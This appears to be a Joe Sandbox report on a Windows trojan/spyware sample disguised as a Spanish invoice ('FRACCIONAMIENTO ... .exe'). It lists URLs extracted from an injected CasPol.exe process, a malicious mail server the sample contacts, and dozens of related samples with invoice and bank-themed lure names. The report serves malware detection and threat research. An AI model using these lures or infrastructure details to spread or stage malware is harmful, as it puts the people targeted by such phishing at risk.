http://repository.swisssign.com/0	CasPol.exe, 00000003.00000003.17282183298.000000002019A000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.17282659739.0000000020111000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.17281775683.00000000201A5000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.suscerte.gob.ve/lcr0#	CasPol.exe, 00000003.00000003.17282659739.0000000020111000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.17281775683.00000000201A5000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://ca2.mtin.es/mtin/crl/MTINAutoridadRaiz0	CasPol.exe, 00000003.00000003.17281775683.00000000201A5000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crl.ssc.lt/root-c/cacrl.crl0	CasPol.exe, 00000003.00000003.17280609313.00000000201DC000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://postsignum.ttc.cz/crl/psrootqca2.crl0	CasPol.exe, 00000003.00000003.17282304601.0000000020183000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.trustcenter.de/crl/v2/tc_class_3_ca_II.crl	CasPol.exe, 00000003.00000003.17281775683.00000000201A5000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://ca.disig.sk/ca/crl/ca_disig.crl0	CasPol.exe, 00000003.00000002.20404063483.00000000200E0000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crl1.comsign.co.il/crl/comsignglobalrootca.crl0	CasPol.exe, 00000003.00000003.17282304601.0000000020183000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.certplus.com/CRL/class3P.crl0	CasPol.exe, 00000003.00000003.17280609313.00000000201DC000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.google.com	CasPol.exe, 00000003.00000003.16839976993.0000000000EA2000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.16782400609.0000000000EA2000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.16240989645.0000000000EA2000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.16999808542.0000000000EA2000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.16506792862.0000000000EA2000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.16161065605.0000000000EA2000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.16928461959.0000000000EA2000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.15817800617.0000000000EA2000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.16692720156.0000000000EA2000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.15723729253.0000000000EA2000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.16060307959.0000000000EA2000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.16302066204.0000000000EA2000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.16364711225.0000000000EA2000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.15970356224.0000000000EA2000.00000004.00000020.00020000.00000000.sdmp	false		high
http://GeLRtI.com	CasPol.exe, 00000003.00000002.20396460069.000000001D291000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.suscerte.gob.ve/dpc0	CasPol.exe, 00000003.00000003.17282659739.0000000020111000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.17281775683.00000000201A5000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://creativecommons.org/licenses/by-sa/4.0/	media-removable.png.1.dr	false		high
http://www.certeurope.fr/reference/root2.crl0	CasPol.exe, 00000003.00000002.20404261436.0000000020106000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.certplus.com/CRL/class2.crl0	CasPol.exe, 00000003.00000003.17281775683.00000000201A5000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.disig.sk/ca/crl/ca_disig.crl0	CasPol.exe, 00000003.00000002.20404063483.00000000200E0000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://eca.hinet.net/repository/Certs/IssuedToThisCA.p7b05	CasPol.exe, 00000003.00000003.17281775683.00000000201A5000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.defence.gov.au/pki0	CasPol.exe, 00000003.00000003.17281775683.00000000201A5000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://drive.google.com/	CasPol.exe, 00000003.00000003.15723880039.0000000000EC0000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.sk.ee/cps/0	CasPol.exe, 00000003.00000003.17281775683.00000000201A5000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.globaltrust.info0=	CasPol.exe, 00000003.00000003.17281402983.00000000201CA000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://www.anf.es	CasPol.exe, 00000003.00000003.17281775683.00000000201A5000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.pki.admin.ch/cps/CPS_2_16_756_1_17_3_1_0.pdf09	CasPol.exe, 00000003.00000003.17282304601.0000000020183000.00000004.00000800.00020000.00000000.sdmp	false		high
https://drive.google.com/_1	CasPol.exe, 00000003.00000003.17000172750.0000000000EBD000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.16840295258.0000000000EBD000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.16929138845.0000000000EBD000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.17006207627.0000000000EBD000.00000004.00000020.00020000.00000000.sdmp	false		high
http://pki.registradores.org/normativa/index.htm0	CasPol.exe, 00000003.00000003.17280609313.00000000201DC000.00000004.00000800.00020000.00000000.sdmp	false		high
http://cps.root-x1.letsencrypt.org0	CasPol.exe, 00000003.00000002.20397811168.000000001D3A2000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000003.00000002.20372959813.00000000010AF000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000003.00000002.20372758608.000000000108C000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://policy.camerfirma.com0	CasPol.exe, 00000003.00000003.17281775683.00000000201A5000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.ssc.lt/cps03	CasPol.exe, 00000003.00000003.17280609313.00000000201DC000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.17281775683.00000000201A5000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://ocsp.pki.gva.es0	CasPol.exe, 00000003.00000003.17282304601.0000000020183000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.anf.es/es/address-direccion.html	CasPol.exe, 00000003.00000003.17281775683.00000000201A5000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.anf.es/address/)1(0&	CasPol.exe, 00000003.00000003.17282659739.0000000020111000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.17283285158.000000002017E000.00000004.00000800.00020000.00000000.sdmp	false		high
http://acraiz.icpbrasil.gov.br/DPCacraiz.pdf0?	CasPol.exe, 00000003.00000003.17282304601.0000000020183000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.17281775683.00000000201A5000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://ca.mtin.es/mtin/ocsp0	CasPol.exe, 00000003.00000003.17281775683.00000000201A5000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://cps.letsencrypt.org0	CasPol.exe, 00000003.00000002.20397811168.000000001D3A2000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000003.00000002.20372959813.00000000010AF000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000003.00000002.20372758608.000000000108C000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crl.ssc.lt/root-b/cacrl.crl0	CasPol.exe, 00000003.00000003.17281775683.00000000201A5000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://web.ncdc.gov.sa/crl/nrcacomb1.crl0	CasPol.exe, 00000003.00000003.17281775683.00000000201A5000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.certicamara.com/dpc/0Z	CasPol.exe, 00000003.00000003.17282659739.0000000020111000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.17283285158.000000002017E000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.uce.gub.uy/informacion-tecnica/politicas/cp_acrn.pdf0G	CasPol.exe, 00000003.00000003.17281775683.00000000201A5000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crl.pki.wellsfargo.com/wsprca.crl0	CasPol.exe, 00000003.00000003.17282659739.0000000020111000.00000004.00000800.00020000.00000000.sdmp	false		high
https://wwww.certigna.fr/autorites/0m	CasPol.exe, 00000003.00000003.17282584231.00000000201D4000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.17281631999.00000000201D2000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.17281402983.00000000201CA000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.17282106098.00000000201D4000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.dnie.es/dpc0	CasPol.exe, 00000003.00000003.17282304601.0000000020183000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.ica.co.il/repository/cps/PersonalID_Practice_Statement.pdf0	CasPol.exe, 00000003.00000003.17281775683.00000000201A5000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32-0.4.3.6.ziphttps://www	CasPol.exe, 00000003.00000002.20396460069.000000001D291000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://doc-0c-74-docs.googleusercontent.com/t	CasPol.exe, 00000003.00000003.17013096892.0000000000E8D000.00000004.00000020.00020000.00000000.sdmp	false		high
http://ca.mtin.es/mtin/DPCyPoliticas0	CasPol.exe, 00000003.00000003.17281775683.00000000201A5000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.anf.es/AC/ANFServerCA.crl0	CasPol.exe, 00000003.00000003.17282659739.0000000020111000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.17283285158.000000002017E000.00000004.00000800.00020000.00000000.sdmp	false		high
http://nsis.sf.net/NSIS_ErrorError	FRACCIONAMIENTO 1722403906461L.exe	false		high
http://www.globaltrust.info0	CasPol.exe, 00000003.00000003.17281402983.00000000201CA000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://certificates.starfieldtech.com/repository/1604	CasPol.exe, 00000003.00000003.17281775683.00000000201A5000.00000004.00000800.00020000.00000000.sdmp	false		high
http://acedicom.edicomgroup.com/doc0	CasPol.exe, 00000003.00000003.17282659739.0000000020111000.00000004.00000800.00020000.00000000.sdmp	false		high
https://crl.anf.es/AC/ANFServerCA.crl0	CasPol.exe, 00000003.00000003.17282659739.0000000020111000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.17283285158.000000002017E000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.certeurope.fr/reference/pc-root2.pdf0	CasPol.exe, 00000003.00000002.20404261436.0000000020106000.00000004.00000800.00020000.00000000.sdmp	false		high
http://ac.economia.gob.mx/last.crl0G	CasPol.exe, 00000003.00000003.17281402983.00000000201CA000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.catcert.net/verarrel	CasPol.exe, 00000003.00000003.17280609313.00000000201DC000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.disig.sk/ca0f	CasPol.exe, 00000003.00000002.20404063483.00000000200E0000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.accv.es/fileadmin/Archivos/certificados/raizaccv1.crt0	CasPol.exe, 00000003.00000003.17282183298.000000002019A000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.e-szigno.hu/RootCA.crl	CasPol.exe, 00000003.00000003.17280609313.00000000201DC000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.sk.ee/juur/crl/0	CasPol.exe, 00000003.00000003.17281775683.00000000201A5000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crl.chambersign.org/chambersignroot.crl0	CasPol.exe, 00000003.00000003.17281402983.00000000201CA000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crl.xrampsecurity.com/XGCA.crl0	CasPol.exe, 00000003.00000003.17282304601.0000000020183000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://certs.oati.net/repository/OATICA2.crl0	CasPol.exe, 00000003.00000003.17281775683.00000000201A5000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crl.oces.trust2408.com/oces.crl0	CasPol.exe, 00000003.00000003.17281775683.00000000201A5000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.quovadis.bm0	CasPol.exe, 00000003.00000003.17282659739.0000000020111000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://eca.hinet.net/repository0	CasPol.exe, 00000003.00000003.17281775683.00000000201A5000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.ssc.lt/root-a/cacrl.crl0	CasPol.exe, 00000003.00000003.17281775683.00000000201A5000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://jimmac.musichall.czif	emblem-unreadable.png.1.dr	false	Avira URL Cloud: safe	unknown
http://certs.oaticerts.com/repository/OATICA2.crl	CasPol.exe, 00000003.00000003.17281775683.00000000201A5000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.trustdst.com/certificates/policy/ACES-index.html0	CasPol.exe, 00000003.00000003.17281775683.00000000201A5000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://certs.oati.net/repository/OATICA2.crt0	CasPol.exe, 00000003.00000003.17281775683.00000000201A5000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.accv.es00	CasPol.exe, 00000003.00000003.17282183298.000000002019A000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.pkioverheid.nl/policies/root-policy-G20	CasPol.exe, 00000003.00000003.17281775683.00000000201A5000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.netlock.net/docs	CasPol.exe, 00000003.00000003.17282304601.0000000020183000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.pki.admin.ch/policy/CPS_2_16_756_1_17_3_21_1.pdf0	CasPol.exe, 00000003.00000003.17281775683.00000000201A5000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.e-trust.be/CPS/QNcerts	CasPol.exe, 00000003.00000003.17280609313.00000000201DC000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.17282304601.0000000020183000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.17281775683.00000000201A5000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://ocsp.ncdc.gov.sa0	CasPol.exe, 00000003.00000003.17281775683.00000000201A5000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://fedir.comsign.co.il/crl/ComSignCA.crl0	CasPol.exe, 00000003.00000003.17282659739.0000000020111000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://drive.google.com/z	CasPol.exe, 00000003.00000003.17000172750.0000000000EBD000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.15863927680.0000000000EC0000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.16693592833.0000000000EBD000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.16929138845.0000000000EBD000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.15818747013.0000000000EC0000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.15818032084.0000000000EC0000.00000004.00000020.00020000.00000000.sdmp	false		high
http://trustcenter-crl.certificat2.com/Keynectis/KEYNECTIS_ROOT_CA.crl0	CasPol.exe, 00000003.00000003.17282183298.000000002019A000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://web.ncdc.gov.sa/crl/nrcaparta1.crl	CasPol.exe, 00000003.00000003.17281775683.00000000201A5000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.datev.de/zertifikat-policy-int0	CasPol.exe, 00000003.00000003.17282183298.000000002019A000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.17281775683.00000000201A5000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.google.com/websearch/answer/86640	CasPol.exe, 00000003.00000003.16839976993.0000000000EA2000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.16782400609.0000000000EA2000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.16240989645.0000000000EA2000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.16999808542.0000000000EA2000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.16506792862.0000000000EA2000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.16161065605.0000000000EA2000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.16610080924.0000000000EA2000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.16928461959.0000000000EA2000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.15817800617.0000000000EA2000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.16692720156.0000000000EA2000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.15723729253.0000000000EA2000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.16060307959.0000000000EA2000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.16302066204.0000000000EA2000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.15637036827.0000000000EA2000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.16364711225.0000000000EA2000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.15970356224.0000000000EA2000.00000004.00000020.00020000.00000000.sdmp	false		high
http://fedir.comsign.co.il/crl/comsignglobalrootca.crl0;	CasPol.exe, 00000003.00000003.17282304601.0000000020183000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://mail.ferdi.hu	CasPol.exe, 00000003.00000002.20397811168.000000001D3A2000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://repository.luxtrust.lu0	CasPol.exe, 00000003.00000003.17280609313.00000000201DC000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://cps.chambersign.org/cps/chambersroot.html0	CasPol.exe, 00000003.00000003.17281775683.00000000201A5000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.acabogacia.org0	CasPol.exe, 00000003.00000003.17281775683.00000000201A5000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://ocsp.eca.hinet.net/OCSP/ocspG2sha20	CasPol.exe, 00000003.00000003.17281775683.00000000201A5000.00000004.00000800.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
142.250.186.174	drive.google.com	United States	15169	GOOGLEUS	false
142.250.186.97	googlehosted.l.googleusercontent.com	United States	15169	GOOGLEUS	false
185.51.191.23	mail.ferdi.hu	Hungary	43359	TARHELYHU	true

General Information

Joe Sandbox Version:	34.0.0 Boulder Opal
Analysis ID:	612103
Start date and time: 20/04/202215:27:00	2022-04-20 15:27:00 +02:00
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 13m 26s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	FRACCIONAMIENTO 1722403906461L.exe
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit 20H2 Native physical Machine for testing VM-aware malware (Office 2019, IE 11, Chrome 93, Firefox 91, Adobe Reader DC 21, Java 8 Update 301
Run name:	Suspected Instruction Hammering
Number of analysed new started processes analysed:	20
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@4/13@3/3
EGA Information:	Successful, ratio: 100%
HDC Information:	Failed
HCA Information:	Successful, ratio: 99% Number of executed functions: 107 Number of non-executed functions: 66
Cookbook Comments:	Found application associated with file extension: .exe Adjust boot time Enable AMSI

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, BackgroundTransferHost.exe, HxTsr.exe, RuntimeBroker.exe, backgroundTaskHost.exe, WmiPrvSE.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 93.184.221.240, 8.253.207.121, 67.27.158.254, 67.26.73.254, 67.27.158.126, 67.27.159.126
Excluded domains from analysis (whitelisted): spclient.wg.spotify.com, client.wns.windows.com, fg.download.windowsupdate.com.c.footprint.net, wu.ec.azureedge.net, ctldl.windowsupdate.com, wdcp.microsoft.com, arc.msn.com, wu-bg-shim.trafficmanager.net, wu.azureedge.net, ris.api.iris.microsoft.com, wdcpalt.microsoft.com, bg.apr-52dd2-0503.edgecastdns.net, cs11.wpc.v0cdn.net, hlb.apr-52dd2-0.edgecastdns.net, img-prod-cms-rt-microsoft-com.akamaized.net
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.

Simulations

Behavior and APIs

Time	Type	Description
15:29:22	API Interceptor	1957x Sleep call for process: CasPol.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Link
185.51.191.23	FRACCIONAMIENTO 1722403906461L.exe	Get hash	malicious	Browse
	potwierdzi#U0107 zam#U00f3wienie.exe	Get hash	malicious	Browse
	BBVA-Confirming Factura.exe	Get hash	malicious	Browse
	FRACCIONAMIENTO 1722403906461L.exe	Get hash	malicious	Browse
	Dekont.exe	Get hash	malicious	Browse
	pago perdido correspondiente.exe	Get hash	malicious	Browse
	Dekont.exe	Get hash	malicious	Browse
	Wyciag_26_08102045800000190201217926.exe	Get hash	malicious	Browse
	Dekont.exe	Get hash	malicious	Browse
	FRACCIONAMIENTO 1722403906461L.exe	Get hash	malicious	Browse
	Wyciag_26_08102045800000190201217926.exe	Get hash	malicious	Browse
	Wyciag_26_08102045800000190201217926.exe	Get hash	malicious	Browse
	Documentos 13-04-22.exe	Get hash	malicious	Browse
	#2600087.exe	Get hash	malicious	Browse
	BBVA-Confirming Factura.exe	Get hash	malicious	Browse
	photo of Mrs. Beatarisa Baro Alivarvar.exe	Get hash	malicious	Browse
	184285013-044310-Factura pendiente (2).exe	Get hash	malicious	Browse
	pago perdido correspondiente.exe	Get hash	malicious	Browse
	BBVA-Confirming Factura.exe	Get hash	malicious	Browse
	196180586-042402-sanlccjavap0003-1794.exe	Get hash	malicious	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
mail.ferdi.hu	FRACCIONAMIENTO 1722403906461L.exe	Get hash	malicious	Browse	185.51.191.23
	potwierdzi#U0107 zam#U00f3wienie.exe	Get hash	malicious	Browse	185.51.191.23
	BBVA-Confirming Factura.exe	Get hash	malicious	Browse	185.51.191.23
	FRACCIONAMIENTO 1722403906461L.exe	Get hash	malicious	Browse	185.51.191.23
	Dekont.exe	Get hash	malicious	Browse	185.51.191.23
	pago perdido correspondiente.exe	Get hash	malicious	Browse	185.51.191.23
	Dekont.exe	Get hash	malicious	Browse	185.51.191.23
	Wyciag_26_08102045800000190201217926.exe	Get hash	malicious	Browse	185.51.191.23
	Dekont.exe	Get hash	malicious	Browse	185.51.191.23
	FRACCIONAMIENTO 1722403906461L.exe	Get hash	malicious	Browse	185.51.191.23
	Wyciag_26_08102045800000190201217926.exe	Get hash	malicious	Browse	185.51.191.23
	Wyciag_26_08102045800000190201217926.exe	Get hash	malicious	Browse	185.51.191.23
	Documentos 13-04-22.exe	Get hash	malicious	Browse	185.51.191.23
	#2600087.exe	Get hash	malicious	Browse	185.51.191.23
	BBVA-Confirming Factura.exe	Get hash	malicious	Browse	185.51.191.23
	photo of Mrs. Beatarisa Baro Alivarvar.exe	Get hash	malicious	Browse	185.51.191.23
	184285013-044310-Factura pendiente (2).exe	Get hash	malicious	Browse	185.51.191.23
	pago perdido correspondiente.exe	Get hash	malicious	Browse	185.51.191.23
	BBVA-Confirming Factura.exe	Get hash	malicious	Browse	185.51.191.23
	196180586-042402-sanlccjavap0003-1794.exe	Get hash	malicious	Browse	185.51.191.23

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
TARHELYHU	FRACCIONAMIENTO 1722403906461L.exe	Get hash	malicious	Browse	185.51.191.23
	potwierdzi#U0107 zam#U00f3wienie.exe	Get hash	malicious	Browse	185.51.191.23
	BBVA-Confirming Factura.exe	Get hash	malicious	Browse	185.51.191.23
	FRACCIONAMIENTO 1722403906461L.exe	Get hash	malicious	Browse	185.51.191.23
	Dekont.exe	Get hash	malicious	Browse	185.51.191.23
	pago perdido correspondiente.exe	Get hash	malicious	Browse	185.51.191.23
	Dekont.exe	Get hash	malicious	Browse	185.51.191.23
	Wyciag_26_08102045800000190201217926.exe	Get hash	malicious	Browse	185.51.191.23
	Dekont.exe	Get hash	malicious	Browse	185.51.191.23
	FRACCIONAMIENTO 1722403906461L.exe	Get hash	malicious	Browse	185.51.191.23
	Wyciag_26_08102045800000190201217926.exe	Get hash	malicious	Browse	185.51.191.23
	Wyciag_26_08102045800000190201217926.exe	Get hash	malicious	Browse	185.51.191.23
	Documentos 13-04-22.exe	Get hash	malicious	Browse	185.51.191.23
	#2600087.exe	Get hash	malicious	Browse	185.51.191.23
	BBVA-Confirming Factura.exe	Get hash	malicious	Browse	185.51.191.23
	cK1mF6pCC9	Get hash	malicious	Browse	185.208.233.140
	photo of Mrs. Beatarisa Baro Alivarvar.exe	Get hash	malicious	Browse	185.51.191.23
	184285013-044310-Factura pendiente (2).exe	Get hash	malicious	Browse	185.51.191.23
	pago perdido correspondiente.exe	Get hash	malicious	Browse	185.51.191.23
	sora.arm	Get hash	malicious	Browse	178.238.211.44

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
37f463bf4616ecd445d4a1937da06e19	https://www.google.com/url?q=https://fccinc-rfp.squarespace.com/&source=gmail&ust=1649842128450000&usg=AOvVaw0ImiIJWk7ZIkNhl_QEnXO8	Get hash	malicious	Browse	142.250.186.97 142.250.186.174
	t9TtulOQal.exe	Get hash	malicious	Browse	142.250.186.97 142.250.186.174
	NNvtbIHdp5.exe	Get hash	malicious	Browse	142.250.186.97 142.250.186.174
	https://eccfo1.eu/1f34fac4-2ab4-4dfb-8248-a8cdec56b8f9/bS5iYWtrZXJAYnBkLm5s	Get hash	malicious	Browse	142.250.186.97 142.250.186.174
	https://linkprotect.cudasvc.com/url?a=https%3a%2f%2flnkd.in%2fdHJHbyeW&c=E,1,YM2-l7Mpe5NcyKKuZBBP7ai_JDrMchgC87abS_xn5hdH3Y1tbCqrd6w3LtRJwRmsOcodlEBKKXf-M77j2J2ixUYBLcNTKXnasDyDJqGqtuMf-GKj0D4GAQ8dLMs,&typo=1	Get hash	malicious	Browse	142.250.186.97 142.250.186.174
	https://app.twilead.com/v2/preview/yn7vOTKQAH2FF4b9Mos0?notrack=true	Get hash	malicious	Browse	142.250.186.97 142.250.186.174
	Details1.exe	Get hash	malicious	Browse	142.250.186.97 142.250.186.174
	ONEYHANC02055500_draft_20220420597707.exe	Get hash	malicious	Browse	142.250.186.97 142.250.186.174
	https://bxz8ie.axshare.com/	Get hash	malicious	Browse	142.250.186.97 142.250.186.174
	xydUFYXHXC.exe	Get hash	malicious	Browse	142.250.186.97 142.250.186.174
	sq564FoU8n.exe	Get hash	malicious	Browse	142.250.186.97 142.250.186.174
